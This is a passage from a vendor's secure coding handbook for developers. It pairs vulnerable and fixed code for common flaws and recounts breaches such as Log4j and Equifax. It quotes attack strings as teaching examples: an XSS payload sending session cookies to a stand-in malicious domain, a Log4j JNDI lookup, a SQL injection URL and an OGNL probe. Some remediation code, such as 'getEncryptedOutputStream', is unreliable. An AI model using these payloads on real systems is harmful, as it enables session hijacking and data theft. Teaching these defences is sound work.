[go: up one dir, main page]

0% found this document useful (0 votes)
142 views31 pages

Secure Coding for Developers

This document is a developer's guide to writing secure code. It provides a brief history of hacking, showing how human curiosity has led to exploring the limits of technological systems for over 150 years. The guide teaches developers how to think like hackers to identify security risks in code, dependencies, infrastructure, and technologies. Following the guidance will help developers deliver safer applications faster and advance their careers.

Uploaded by

Harish Umasankar
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
142 views31 pages

Secure Coding for Developers

This document is a developer's guide to writing secure code. It provides a brief history of hacking, showing how human curiosity has led to exploring the limits of technological systems for over 150 years. The guide teaches developers how to think like hackers to identify security risks in code, dependencies, infrastructure, and technologies. Following the guidance will help developers deliver safer applications faster and advance their careers.

Uploaded by

Harish Umasankar
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 31

The Secure

Coding Handbook
A developer’s guide to delivering safer code
faster in the cloud and on premise

THE SECURE CODING HANDBOOK | VERACODE 1


Table of Contents

03 Introduction

04 A Brief History of Hacking

06 How to Deliver Safer Code Faster

09 1 – Start with Security in Mind

14 2 – Write Secure Code

20 3 – Select and Maintain Secure Open-Source Components

25 4 – Secure Cloud-Native Ecosystems & APIs

THE SECURE CODING HANDBOOK | VERACODE 2


Introduction

As a developer cranking out code on the regular, you


want your applications to be successful, but you may
This handbook will teach you how to think like a hacker.
You will learn to look at your applications — the code “The future is
not have been given the tools or guidance to build
secure applications. Security likely isn’t even what you
you write, dependencies you introduce, the software
supply chain, and cloud-native infrastructures and
developers writing
set out to do, but the reality is, developers are at the technologies — with a critical security mindset. You secure code.”
center of staying ahead of malicious attackers. The will learn how each of these elements introduces risk.
– Chris Wysopal, @WeldPond, in a recent interview. Chris
goal of this guide is to show you how. You will learn how attacks work — and how you can testified before Congress in 1998 as a member of L0pht, a
prevent them with secure code. You will learn how non-criminal hacker collective (now known as vulnerability
Let’s get something out of the way: secure coding researchers), to prove to the government why code needs
to limit trust. You will learn how to deliver secure
to be secure from the start — and he went on to co-found
exists because hacking exists, and hacking exists software faster. You will become a better developer. Veracode where he is CTO to this day.
because human curiosity exists. The first time Jobs and
Wozniak learned a toy whistle from a cereal box could
take over a phone system, their first thought probably
wasn’t, “What are the security implications of that?”, Reading this handbook will make you a better developer. You will learn
and it was probably more like, “Wow! How does that about common software vulnerabilities, how attackers exploit them, and
work?”. That question — and the pursuit of its answer
— is the root of hacking.
how you can prevent them. Developing a secure coding skillset will create
opportunities for you to earn more, advance within your organization,
Software consumes the world, and the pace of
and work on the most interesting projects.
innovation is increasing exponentially. Risk has also
increased exponentially, like parallel lines of a shared
track. Fifty years ago, hacking was analog, affecting
individuals. Soon, it will be quantum, affecting billions.
Being a developer today means building not only
functional and efficient applications — but secure ones.

THE SECURE CODING HANDBOOK | VERACODE 3


Hacking is the evolution of human curiosity set loose on the technological frontier. Hackers carry the mystique of borderland denizens
A Brief History pushing the edge of progress, and it’s just getting started. History is happening now, and as a developer, you are at the center.

of Hacking Humans are curious, and mankind has a history of messing with inputs and outputs to make a system function other than as intended. Here
is a brief look at how people have been messing with — or hacking — the inputs and outputs of information systems for the past 150 years.

The Blanc brothers bribed a Guglielmo Marconi claimed


telegraph operator to signal to have invented a secure Koceilah Rekouche (aka Da
market movements by introducing wireless telegraphy system. Chronic) created AOHell, a
deliberate errors into mechanical During a demonstration, program with a suite of exploits
telegraph messages. These Marconi’s rival and magician, The data of three billion Yahoo! A vulnerability in the popular
allowing hackers to create free
errors would be removed at the Nevil Maskelyne, “hacked” the user accounts are exposed by Java logging library Apache
fake accounts, fill inboxes, sign
end of the line but not before system by transmitting his own hackers forging internet cookies Log4J exposes millions of
users off, and steal passwords
an accomplice intercepted and signal spelling out a limerick to gain access to accounts java application to remote
and credit card information
interpreted them. insulting Marconi. without a password. code execution.
via early phishing attacks.
Read Full Story > Read Full Story > Read Full Story > Read Full Story > Read Full Story >

1834 1903 1995 2013 2021

1878 1971 2000 2020 2023

Bell Telephone launched its first Phone “phreaks” discovered The “ILOVEYOU” computer State sponsored hackers exploit Happening now in
phone systems and hired teenage they could activate phone worm infected over ten million the build process to install the code of unwitting
boys to run the switchboards. switches using audio frequency Windows computers. The worm malicious code into SolarWinds developers around
The teenage operators managing — including those produced by a spread as an email with the Orion and orchestrate a supply the world.
cords and jacks to connect calls free toy whistle in Cap’n Crunch subject line “I Love You” and an chain attack on downstream
quickly proved untrustworthy, cereal. This led to the creation of attachment that when opened customers including government
intentionally disconnecting multitone emitting “blue boxes” overwrote files on the infected and enterprise entities.
calls, crossing lines, and more. immortalized in the Esquire computer and self-propagated by
Read Full Story >
article Secrets of the Little Blue emailing itself to all addresses in
Read Full Story >
Box and inspiring the likes of the Windows Address Book.
Jobs and Wozniak.
Read Full Story >
Read Full Story >

THE SECURE CODING HANDBOOK | VERACODE 4


Writing secure code is about problem
solving, gaining a deeper understanding of
code, and transforming that understanding
into better user experiences — you know,
those things that likely make you love
developing in the first place.

THE SECURE CODING HANDBOOK | VERACODE 5


How to Deliver Safer Code
Faster (So You Can Protect
Yourself and Your Apps)

Securing applications begins with you — the developer. The code


you write, dependencies you select, and ecosystem you connect
can introduce weaknesses that create opportunities for attackers
to manipulate. If you want the applications you build to help users,
customers, and yourself succeed, then you need to secure them
against data breaches and other security exploits. Part of writing
great software is writing secure software, and delivering secure
code faster happens by turning the strategies of hackers into a
toolkit for recognizing the patterns and hallmarks of secure and
insecure code. Instead of leaving backdoors for attackers, these four
strategies will get you well on your way to creating higher-quality
code and opening doors for your own career and advancement.

Securing modern applications distills down to four core functions:


to Prevent, Detect, Prioritize, and Address security issues.

Understanding these four pillars, and how we’re defining each


term will give you a baseline to know the why, how, and what of
delivering safer code faster.

THE SECURE CODING HANDBOOK | VERACODE 6


Pillar 1: Prevent Pillar 2: Detect
An ounce of prevention is worth a pound of cure. The fastest, Application Security Testing (AST) scans software to detect flaws in
cheapest, and best way to reduce risk is to prevent security flaws proprietary and open-source code to prevent and detect risk in new
before they reach production and accumulate as security debt. and existing applications (the latter known as security debt).

Flaws Static Analysis


When we say flaws, we mean security flaws specifically. They’re coding Scanning source or binary code in a-pre-production or “static” state and analyzing
weaknesses, errors, or defects that form the proverbial cracks in your code that it to find flaws or CWEs. Also called “white box” testing.
have the potential to be exploited. They’re categorized as Common Weakness
Enumerators or CWEs (note that not all CWEs are security flaws). Software Composition Analysis (SCA)
An analysis of third-party components or libraries, libraries within your
Vulnerability organization, and open-source code in applications to detect known vulnerabilities.
An exploitable condition that allows an attacker to attack and provoke the
flaw. All vulnerabilities are flaws; however, not all flaws become vulnerabilities. Dynamic Analysis (DAST)
Known vulnerabilities in open-source components — or Common Vulnerabilities Simulating attacks in a production, runtime, or “dynamic” state to expose
and Exposures (CVEs) — are published in the NIST National Vulnerability configuration and end-point weaknesses also known as “black box” testing.
Database (NVD).
Manual Penetration Testing (MPT)
Exploit Professional hackers test an application by trying to hack it; this adds the human
A procedure or program intended to take advantage of a vulnerability, potentially element to DAST for another layer of protection.
by leveraging one or more flaws.
Container Scanning
Zero-day Scans container images for CVEs in open-source dependencies, misconfiguration,
An attack that exploits a previously unknown hardware, firmware, or software and poorly-managed secrets.
vulnerability and becomes public knowledge. Publishing CVEs informs attackers
of the vulnerability, closing the window for prevention and starting the race to Software Bill of Materials (SBOM)
addressing it. A machine-readable record of the open-source and supply chain components that
make up software adding accountability and making it easier to detect if a zero-day
exploit affects an application.

THE SECURE CODING HANDBOOK | VERACODE 7


Pillar 3: Prioritize Pillar 4: Address
With more needs than resources, security teams use a Security The goal of application security is not to find flaws. It is to reduce
Policy based on an application’s criticality and the risk tolerance of risk and accelerate delivery of secure software by empowering
the organization to prioritize findings which must be addressed to developers to fix and prevent security findings earlier and faster.
comply with the policy.

Security Policy Remediate

An unambiguous set of standards with which applications must comply; it is Fixing a flaw, vulnerability, or exposure by changing code, updating a dependency, or
agreed upon between security and development. other programmatic change.

Regulatory Compliance Mitigate

Mandatory industry and/or government standards and thresholds which must Making and reporting changes to the operating system features, network
be met to market and sell solutions. Common AppSec standards include HIPAA implementation, or application design that insulate a coding flaw from exploitation
and PCI. by an attacker.

Common Vulnerability Scoring System (CVSS) Report to Library Maintainer


An industry standard qualitative measure of CVE severity to help prioritize Reporting flaws found in a second or third-party libraries you do not maintain for
responses and resources to a vulnerability. remediation or mitigation.

OWASP Top 10 Risk


A list of the “most critical security risks to web applications” published by A measure of the extent to which an entity is threatened by a potential circumstance/
the Open Web Application Security Project (OWASP). A security policy event, and typically a function of: adverse impacts that would arise if the circumstance/
mandating no OWASP Top 10 findings is often seen as the gold standard in event occurs, and the likelihood of that occurrence. After evaluating the potential
application security. risk and effort to address a finding, the organization determines whether it is willing
to accept the risks associated with a finding.
OWASP API Security Top 10
A list of the most critical risk to Application Programming Interfaces (APIs)
rapidly becoming the top cyberattack vector.
Now let’s take a practical look at these four pillars
with instructions for real-world application.

THE SECURE CODING HANDBOOK | VERACODE 8


1
Start with Security in Mind: Secure Design
Unlike the security issues in the following sections, Secure design is a culture and mindset. Assume
insecure design does not stem from coding mistakes people will try anything and everything to manipulate
or improper implementation. Perfect implementation what you create. As a developer, you need to predict
of an insecure design can lead to unintended these potential manipulations and define requirements
information leakage, exposure of sensitive data, that preempt misuse. Recognizing common secure
and malicious activities that are detrimental to the design weaknesses and creating explicit design
business and experiences of other users. decisions and requirements that avoid those is
the easiest, fastest, and cheapest way to secure
Looking back through the history of hacking timeline, your software.
Da Chronic’s AOHell program exploited AOL’s design
decision to only validate credit cards after 30 days to Examples of how insecure design opens the door
create free fake accounts. This manipulation wasn’t for a hacker to get sensitive is shared on the
due to coding errors but rather failure to anticipate following pages.
how untrustworthy actors could exploit this design
feature. Common insecure design weaknesses
include exposing sensitive information in error
messages, insufficiently protecting and improperly
storing credentials and sensitive information, and
violating trust boundaries (for example, allowing
untrusted sources to write information to a
session object).

THE SECURE CODING HANDBOOK | VERACODE 9


Verbose Error Messages Leak Sensitive Information

Insecure Design Secure Design

Below is a code snippet that prints a message based on whether a login attempt To remediate this vulnerability, modify the code to print a generic error message when
succeeds or fails. First, the code checks if the username is valid. If it is not, it prints a login attempt fails. The modified code below prints the error message “Login Failed —
“Login Failed — unknown username.” Otherwise, it next checks if the password matches incorrect username or password” whether the failure happened because of an invalid
the username. If there is a match, it prints “Login Successful.” If not, it prints “Login username or invalid password. This change makes it that little bit harder for an attacker
Failed – Incorrect Password.” to gain access.

if (IsValidUsername($username) == 1) if (IsValidUsername($username) == 1)
{ {
if (IsValidPassword($username, $password) == 1) if (IsValidPassword($username, $password) == 1)
{ {
print “Login Successful”; print “Login Successful”;
} }
else else
{ {
print “Login Failed - incorrect password”; print “Login Failed - incorrect username or password”;
} }
} }
else else
{ {
print “Login Failed - unknown username”; print “Login Failed - incorrect username or password”;
} }

(Source: Mitre CWE 200) This is a fairly simple example. And of course, there are many other means for attackers
to find a valid username. The key takeaway is to be aware of the information you are
As written, the code is functional. However, this design provides an attacker valuable providing to users in error messages and how those messages could expedite an attack.
information. Imagine an attacker enters the username “admin” and receive the error Never leave production applications in “debug” mode. Assume attackers will try to
message “Login Failed — incorrect password.” Given the design of error messages, they manipulate an application into throwing a stack trace or printing error messages which
now know “admin” is a valid username. They are halfway to having an authenticated they can explore for a means of ingress.
credential and can try a brute-force attack to figure out the password for “admin”
(more on that in the next section).

THE SECURE CODING HANDBOOK | VERACODE 10


Improper Control of Interaction Frequency

Insecure Design Secure Design

Another common design flaw is not limiting and controlling the frequency of user To remediate this issue and defend against brute force attacks, we can modify the
interactions. This leaves applications vulnerable to brute-force attacks and manipulation authentication function with a MAX_ATTEMPTS limit that denies a user from making
by bots and malicious scripts. further attempts once the limit has been reached.

Imagine the application above (where an attacker has identified “admin” as a valid
int count = 0;
username) uses the following authentication function without any interaction rate limit:
while ((isValidUser == 0) && (count < MAX_ATTEMPTS)) {
if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
char username[USERNAME_SIZE];
if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
char password[PASSWORD_SIZE];
isValidUser = AuthenticateUser(username, password);
}
while (isValidUser == 0) {
}
if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
count++;
if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
}
isValidUser = AuthenticateUser(username, password);
if (isValidUser) {
}
return(SUCCESS);
}
}
}
else {
return(SUCCESS);
return(FAIL);
}
Again, this code is functionally correct. However, as designed, there is no limit on
authentication attempts. An attacker with a brute force attack tool that automatically
Users exploit the absence of frequency controls beyond brute force attacks.
generates passwords and attempts to authenticate will eventually guess right. It is only
Increasingly, people employ bots to stockpile high-demand goods for resale. This
a matter of time.
frustrates customers and damages brands. When designing and building applications,
think about how users can use scripts to gain access or game the application for a
purpose other than what you intended.

THE SECURE CODING HANDBOOK | VERACODE 11


Cleartext Storage of Sensitive Information

Insecure Design Secure Design

Another common design flaw is storing sensitive information like credit card numbers To remediate and prevent this issue, modify the code ensuring you do not log sensitive
and personal identifiable information like social security numbers in plaintext. The java information. Change the log details so instead of logging the credit card number and
code below opens a database connection to retrieve the credit card number for a expiration date, it instead logs the call to the method with the sensitive information.
supplied username. The code then logs the credit card information retrieved for the
user in the log file. Public String getCreditCardNumber(String username) {
if (isAuthorizedUser(username)) {
Public String getCreditCardNumber(String username) { query = “SELECT ccn, expiryDate FROM
if (isAuthorizedUser(username)) { userCreditCardDetails WHERE username = ?”
query = “SELECT ccn, expiryDate FROM …
userCreditCardDetails WHERE username = ?” Logger.getLogger
… CrediCardManager.class.getName())
Logger.getLogger ( .log(Level.INFO, “username: “ + username + “ credit card retrieved“);
CrediCardManager.class.getName()) }
.log(Level.INFO, “username: “ + username + “, CCN: “ + ccn + “, Expira- return ccn;
tion Date: “ + expiryDate); }
}
return ccn; This provides legitimate users with sufficient information to trace method calls through
} the logs without exposing sensitive information. And if an attacker does gain access to
log files, this makes it harder for them to extract sensitive information. When designing
This exposes sensitive credit card information in plaintext in the log file. An attacker who and building features with sensitive information, do not store sensitive data in plaintext
gains access to the log files will then get easy access to this sensitive information. This — and, if possible, avoid storing it altogether.
also exposes sensitive information to legitimate users who are authorized to view log
files but not authorized to view the sensitive information.

THE SECURE CODING HANDBOOK | VERACODE 12


Top 3 Tips
for Starting with Security in Mind

1 Consider security from the beginning. Include security


requirements upfront when agreeing upon the definition
of “done” for a project.

2 Adopt a hacker mindset. Establish a habit of critiquing


application design to predict unintended user (and bot!)
behavior. If possible, use a secure design patterns library
or ready-to-use components.

3 Try threat modeling. Model aspects of the attack


and defense sides of your application, system, or
environment. OWASP Threat Dragon is a modeling
tool used to create threat model diagrams as part
of a secure development lifecycle.

THE SECURE CODING HANDBOOK | VERACODE 13


2
Write Secure Code
Our research shows that over 74% of applications This eBay story is just the evolution of sending insulting
have at least one security flaw found in the last scan limericks over supposedly secure radio waves or
over the last 12 months, and TechTarget lists software phreaking in the 1970s. Whether it’s a 2600 hz tone
vulnerabilities as one of the most common attack played into an earpiece or a script in an unvalidated
vectors. To understand how attackers exploit coding URL parameter, hackers look for opportunities to
weaknesses, let’s look at a real-world example. gain unauthorized access, extract information, and
inject spurious inputs to manipulate a system’s
In 2015 attackers exploited a flaw in eBay’s code
functionality. Attackers probe attack surfaces looking
to steal user credentials, sell products at a discount,
for weaknesses and opportunities. And while there
and gain access to payment details. The flaw failed to
are many avenues for attack, the code you write as
validate URL parameters allowing hackers to create
a developer is the foundation of an application’s
links within eBay (say an item listing or a hyperlink in a
security — or lack thereof. It all starts with you.
message) directing users to a page with malicious script
(known as cross-site scripting or XSS). For example, a Examples of code weaknesses and how to secure
hacker might create the URL http: //ebay.com/ them can be found on the next page.
link/?nav=webview&url=javascript:
document.write%EvilPhishingSite. When
users click the link, they would be directed to a page
How you write code has a big impact on your ability to deliver applications
executing the EvilPhishingSite script with a fake login
that meet functional and security requirements on time and on budget. More
screen that steals and logs users’ credentials. Attackers
could then gain access to user accounts to manipulate
and more, the responsibility of application security is shifting to developers.
listings, view sensitive data, and scam other users. In addition to functional, efficient, and reliable code, you are expected to write
code that is also secure. Secure coding practices must be part of your skill set.
The following lesson will introduce you to some of the most common security
issues found in first-party code so you can fix these flaws — and better yet,
prevent them by writing code that is secure from the start.

THE SECURE CODING HANDBOOK | VERACODE 14


OWASP #1: Broken Access Control | CWE-566

Vulnerable Code Secure Code

Broken access control describes a range of vulnerabilities that allow unauthorized It is important to appreciate the difference between authentication and authorization.
users to reach areas of an application they should not be able to access. A vulnerability A user with a valid username and password is authenticated. However, an authenticated
might allow attackers to force browse and access URLs directly. For example, say an user still needs authorization to access non-public areas of an application. To remediate
attacker identifies an account URL syntax as http s://vulnerable.com/app/accountIn- and prevent broken access control vulnerabilities, it is important to deny access to
fo?acct=AcctName. If the application does not have proper access control, the attacker non-public resources by default. You need to build in access control mechanisms that
could modify the URL to https://vulnerable.com/app/accountInfo?acct=VictimAcct confirm a user is authorized to access a URL, retrieve information from a SQL database,
and gain access to the VictimAcct without any authorization check. and perform other actions.

Another vulnerability might allow an attacker to execute SQL queries that return To address the broken access control vulnerability in the SQL request example, you can:
information they are not authorized to retrieve. Take the following code which sends
a SQL call to retrieve invoices associated with a user ID. 1. Create a set of criteria with approved “id” values for a user.

2. Validate an authenticated user matches the criteria for “id” and is


conn = new SqlConnection(_ConnectionString);
authorized to view the data before retrieving it.
conn.Open();
int16 id = System.Convert.ToInt16(invoiceID.Text); 3. If they do not match the verification criteria, do not complete the
SqlCommand query = new SqlCommand( “SELECT * FROM invoices WHERE id = request and return a generic error message.
@id”, conn);
query.Parameters.AddWithValue(“@id”, id); These changes will take an authenticated user’s input and first check if they
SqlDataReader objReader = objCommand.ExecuteReader(); are authorized to submit the request for “id” before retrieving the invoice data.

From the 2017 to 2021 OWASP Top 10 lists, broken access control moved up from the
This code is doing some good things. It uses a parameterized statement to prevent SQL fifth position to first. According to OWASP, “The 34 Common Weakness Enumerations
injection (more on that to come); however, in isolation, it does not validate that the user (CWEs) mapped to Broken Access Control had more occurrences in applications than
is authorized to view the invoices associated with “id”. As the Mitre CWE 566 explanation any other category.” The prevalence and potential exposure of broken access control
puts it, “Because the code in this example does not check to ensure that the user has vulnerabilities make these a prime target for attackers. Building access controls that
permission to access the requested invoice, it will display any invoice, even if it does validate a user’s authorization before retrieving data or accessing sensitive URLs is
not belong to the current user.” critical. (We will revisit this theme as it concerns APIs later.)

THE SECURE CODING HANDBOOK | VERACODE 15


OWASP #2 Cryptographic Failures

Vulnerable Code Secure Code

Organizations are responsible for the protection of sensitive data at rest and in transit. The first steps to protecting data are to minimize risk by avoiding unnecessary storage
If attackers breach an application — be it by broken access controls, successful injection of sensitive information and implementing secure coding best practices to prevent
attacks, or other means — cryptography is a critical “defense in depth” layer to protect exposure in the first place. But assume the worst. Breaches happen. Sensitive data
sensitive data. needs to be stored, retrieved, and transmitted — often over networks with inherent levels
of exposure. It is critical to use adequate encryption with a reliable encryption scheme
As an example of a cryptography weakness and exploit, let’s say a production application
when storing and transmitting data.
has unwittingly been left in debug mode. An attacker induces the application to throw
an error and expose a stack trace. Exploring the stack trace, they find a password Hash. To protect against sensitive data exposure, modify the code to:
If the application uses a weak hashing algorithm, the attacker can retrieve the master
1. Use a secure HTTPS protocol with TLS encryption
password by doing a reverse lookup in an online hash database such as hashes.com.
2. Change the PUT function to POST to avoid data exposure in caching, browser
Another weakness is failing to adequately encrypt data in transit. Network data can
history, and web logs
often be “sniffed” by attackers. Assuming an attacker can gain access to network traffic,
what happens when that traffic isn’t encrypted? Take the following example: 3. Optional: For highly sensitive information, you can add additional defenses by also
encrypting the hu.getOutputStream before transmitting.
try {
Note: Recipients would then need to decrypt before reading.
URL u = new URL(“http://www.secret.example.org /”);
HttpURLConnection hu = (HttpURLConnection) u.openConnection();
try {
hu.setRequestMethod(“PUT”);
URL u = new URL(“https: //www.se cret.example.org /”);
hu.connect();
HttpsURLConnection hu = (HttpsURLConnection) u.openConnection();
OutputStream os = hu.getOutputStream();
hu.setRequestMethod(“POST”);
hu.disconnect();
hu.connect();
}
OutputStream os = hu.getEncryptedOutputStream();
catch (IOException e) {
hu.disconnect();
}
//...
catch (IOException e) {
}

//...
(Source: MITRE CWE-319) }

This code successfully establishes a connection, but it uses an unencrypted http


This code protects data in transit by establishing a connection using the encrypted
protocol. It is possible for anyone monitoring the network traffic to read sensitive
HTTPS protocol, avoiding data exposure in the cache, browser history, or web logs
information sent to or received from the server.
with the POST function, and adding additional layers of security by first encrypting the
hu.getEncryptedOutputStream output which must be decrypted by the recipient.

THE SECURE CODING HANDBOOK | VERACODE 16


OWASP #3: Injection

Vulnerable Code Secure Code

Injection flaws allow attackers to inject inputs — such as from a web form, cookie, or To prevent and remediate injection flaws, we need to properly handle untrusted data
URL string — to access privileged data in a SQL database (CWE 89: SQL Injection), before passing it to SQL queries, rendering it as HTML, or otherwise outputting it to users.
inject scripts that execute when visitors visit your web application (CWE 80: Cross-Site
To remediate the SQL injection flaw, we can modify the code by using a prepared
Scripting), and otherwise inject commands.
statement to create a parameterized query:
Take the following code for a SQL call to retrieve a user’s account balance:
String accountBalanceQuery = “SELECT accountNumber, balance FROM
String accountBalancequery = “SELECT accountNumber, balance FROM ac- accounts WHERE account_owner_id = ?”;
counts WHERE ccount_owner_id=’” + request.getParameter(“user_id” “’”; try {
PreparedStatement statement = connection.prepareStatement
Under normal operation, a logged-in user with account number 123 would be directed (accountBalanceQuery); statement.setInt(1,request.getParameter(“us-
to https://bankingwebsite/show_balances?user_id=123 showing their account balance. er_id”));
However, because there is no validation of parameters on “user id”, an attacker could ResultSet rs = statement.executeQuery(); while (rs.next())
enter the URL https: // bankingwebsite/show_balances?user_id= 123%20OR%20 { page.addTableRow(rs.getInt(“accountNumber”), rs.getFloat(“-
1%3D1. This would cause the user_id to be interpreted as “123 OR 1=1” and pass a balance”)); }
query returning all the account numbers and balances.
The query string is now composed with a placeholder “?” for the user-supplied data. That
user-supplied data is bound to the PreparedStatement object which only allows a simple
integer. If an attacker tries to pass the query user_id=123%20OR%201%3D1 it will
now throw a SQL Exception rather than permitting the query to complete.

Continues on next page >

THE SECURE CODING HANDBOOK | VERACODE 17


OWASP #3: Injection, Continued

Vulnerable Code Secure Code

Injection exploits also occur when attackers successfully inject scripts that execute To prevent the XSS attack, we can sanitize the application’s HTML. We can use the
when users visit a webpage. For example, this vulnerable review form takes a user- OWASP Java HTML Sanitizer to define which HTML elements or attributes are allowed
supplied input (“details”) and then prints that user-supplied input on the page. in user input:

public void setDetails(String details) { private final HtmlPolicyBuilder DetailsPolicyBuilder = new HtmlPolicy-
this.details = details;
Builder()
}
.allowElements(“p”, “ul”, “ol”, “li”, “b”, “i”, “a”)
String myDetails = new String(request.getParameter(details)); .allowStandardUrlProtocols() // http, https, and
mailto
Review myReview = new Review(); .allowAttributes(“href”).onElements(“a”); // a tags can have an
myReview.setDetails(myDetails);
href element
product.addReview(myReview);
We would then modify the review code to call this sanitizeHTML method:
The review appears on a page visible to all users loading the following HTML:
public void setDetails(String details) {
<script> this.details = DetailsPolicyBuilder.toFactory().sanitize
document.getElementById(“details”).innerHTML = details;
(details);
</script>
...
<div id=”details”></div> }

This form is vulnerable because it fails to parameterize the user-supplied “details” input. The sanitizer permits only the elements and attributes listed above, and throws away
anything that doesn’t fit, including malicious JavaScript tags and URLs.
An attacker can inject the following malicious script in the review field:
Another approach is to encode the user-supplied data for the context in which it will be
<script>document.location=’http://malicious.domain/stealCookie. displayed. Encoding will transform characters that function as syntax in the destination
js?’+document.cookie</script> context (HTML, JavaScript, etc.) into versions that will not be parsed as syntax. For ex-
ample, encoding data for HTML output replaces characters like < and > with equivalent
When a user visits the site, the site now loads the following: versions that cannot change the structure of the HTML context. Use the OWASP Java
Encoder within the template to modify the JavaScript:
<div id=”details”><script>document.location=’http://malic ious.domain /
stealCookie.js?’+document.cookie</script></div> document.getElementById(“details”).innerHTML = <%= Encode.forHtmlCon-
tent(details) %>;
This redirects users to the malicious domain that runs the stealCookie.js script that will
pass the session cookie to the attacker and hijack the visiting user’s session. If the attacker ran the same payload now, rather than executing the script the encoded
text would simply display as text.

THE SECURE CODING HANDBOOK | VERACODE 18


Top 3 Tips
for Writing Secure Code

1 Code to the principle of least privilege. Allocate the


minimum privilege and time span required to perform
an action for each user or system component. Consider
using a filter or other automated mechanism to ensure
that all requests go through an access control check.

2 Protect data. Encrypt data at rest and in transit using


adequate cryptography. Don’t make confidential or
sensitive data accessible in memory, or allow it to be
written into temporary storage locations or log files
that an attacker can view.

3 Validate inputs. Treat all data as untrusted, parameterize


queries, and critique the code you write for ingress
points hackers can exploit.

THE SECURE CODING HANDBOOK | VERACODE 19


3
Select & Maintain Secure Open-Source Components
In 2013, a contributor introduced a change to the popular Java For eight years, this vulnerability lingered in Log4j. In that time, it
logging utility Log4j. The update was intended to allow developers was added to millions of applications. Then, on December 9, 2021,
to serialize log configurations by storing them in a remote location the vulnerability was made publicvia tweet as a zero-day vulnerability
and retrieving them through a Java Naming and Directory Interface (CVE-2021-44228) with a CVSS severity rating of 10. In an instant,
(JNDI) call — the JNDI call essentially acting as a precursor to software that had been considered secure was suddenly at
RestAPI. Inadvertently, this created a major vulnerability exposing tremendous risk. Developers raced to update their Log4j libraries
applications using the method to remote code execution attacks. and hackers raced to exploit. Within 72 hours, nearly a million hack
To understand the vulnerability, let’s take an application that attempts were launched.
logs search queries as an example. Under normal circumstances, Log4j was a wakeup call to the risks — both known and unknown —
a user would enter a search query, and Log4j would log that using lurking in open-source dependencies. The pervasiveness of open
a script like: source, paired with the fact that 79% of software developers never
logger.error(“Page: search query: {}”, searchInput); update libraries once they’re in the codebase, has left the software
world watching for when — not if — the next Log4j strikes.
If searchInput is a normal user query, this works. But what happens
if a hacker “queries” the following: But inadvertent coding flaws in open source are only part of supply
chain risk and associated challenges. Open-source libraries have
${jndi:ldap: //my-evil-ap/maliciousobject } become an attack vector to intentionally insert malicious updates.
And we have seen state-sponsored actors leveraging the software
The hacker-supplied “query” triggers a JNDI call to the domain
supply chain inserting malicious code into software products,
specified by the hacker and returns a Java object in a successful
targeting downst ream customers. In the following lessons, you will
remote code execution attack. By now, you are probably
learn how to respond effectively and stay ahead of vulnerabilities in
recognizing a pattern: An element of a system — in this case an
your software supply chain.
open-source dependency —contains a flaw that allows hackers to
enter inputs and alter functionality. What has changed, though, is
the scale and speed of exposure.

THE SECURE CODING HANDBOOK | VERACODE 20


Equifax: Failing to Update Open-Source Dependencies

Vulnerable Dependencies Secure Dependencies

In 2017, a vulnerability in the Object-Graph Navigation Language (OGNL) evaluation Used responsibly, open source is an amazing asset. It makes rapid development of richer
function of Apache Struts was discovered. The vulnerability allowed attackers to force and more complex applications possible. However, responsible use requires you to take
a “double evaluation” of an OGNL expression to input shell commands. As a high-level preventative, proactive, and reactive actions to minimize risk in your applications. Here
explanation, let’s take the following example where an OGNL function takes a user input are some best practices:
to add an id tag attribute:
Prevent open-source risk:
<s: component name id =”%{name}”/> • Use approved libraries. Establish a list of approved open-source libraries and check
components are secure before inclusion.
As proof of concept, an attacker might enter an input of name=%{2*4}. If the resulting
Proactively maintain open-source dependencies:
id tag is 8, then the application is executing user-supplied input as code and the attacker
has successfully performed Remote Code Execution. Now they can replace %{2*4} with • Inventory your applications and software supply chain. Know what
a malicious script to reconfigure security settings and open the door for further ingress. you have and where it is. Understand that applications have direct and transitive
This is similar to the injection flaws covered in the previous section. However, in this dependencies. Maintain a Software Bill of Materials (SBOM)
case, the source of the vulnerability is not first-party code but the Apache Struts to help evaluate and respond to risk in the software supply chain
open-source component.
• Scan your applications regularly with a Software Composition Analysis (SCA) tool
On March 7, 2017, the vulnerability was disclosed, and a security patch was released. to identify open-source risk. By the nature of open-source, software that is secure
The publication of the CVE and the patch triggers a race between attackers who now today could have a CVE or zero-day exploit disclosed tomorrow. Regular scanning
have broad awareness of the vulnerability and developers to update their Apache Struts is essential. So too is selecting an SCA tool that helps you stay a step ahead and
version to a secure version. identifies vulnerabilities beyond CVEs published in the NVD.
Unfortunately, more than two months after the CVE was disclosed, credit reporting • Keep open-source components updated. Using old versions can make it challenging
agency Equifax had yet to update their vulnerable version of Apache Struts. Hackers and slower to react to newly disclosed vulnerabilities. Mitigate downtime and make
discovered the vulnerability and exploited it to breach Equifax’s network. For nearly your life easier by proactively maintaining your dependencies.
11 weeks attackers had access to the network extracting social security numbers, birth
dates, addresses, and license numbers from over 140 million users (~56% of Americans). React quickly to CVEs and zero-day events:
Equifax would ultimately agree to pay $700 million in federal and state settlements. • Patch vulnerable libraries as soon as possible to minimize exposure

• Establish SLAs within your organization for an acceptable duration from first-found
date to fix. Advocate for the budget to meet that SLA.

• Prepare for the worst. Practice zero-day events and hone your response.

THE SECURE CODING HANDBOOK | VERACODE 21


NPM: Open Source as an Attack Vector

Vulnerable Dependencies Secure Dependencies

Another vehicle of software supply chain risk is malicious code intentionally added to While the NPM vulnerability was quickly found and remediated by the library’s lead
an open-source library. Unlike the Log4j and Equifax attacks, where a vulnerability was developer, the attack shows not only how open source can introduce unintended risk
unwittingly introduced, in these instances contributors explicitly use open-source but also become a vehicle for an intentional attack. As an attack vector, the nature of
libraries as an attack vector to infect dependent applications. open source means these attacks scale quickly and can affect major organizations that
use open-source components in their code base.
An example of this was the October 2021 update of the ua-parser-js library in the
popular NPM package. NPM has millions of weekly downloads with developers using This highlights the inherent risk in open source. On one hand, it is best practice to
ua-parser-js to identify a user’s device or browser. In October 2021, an attacker hijacked update libraries — ideally in an automated way — to minimize technical debt and rapidly
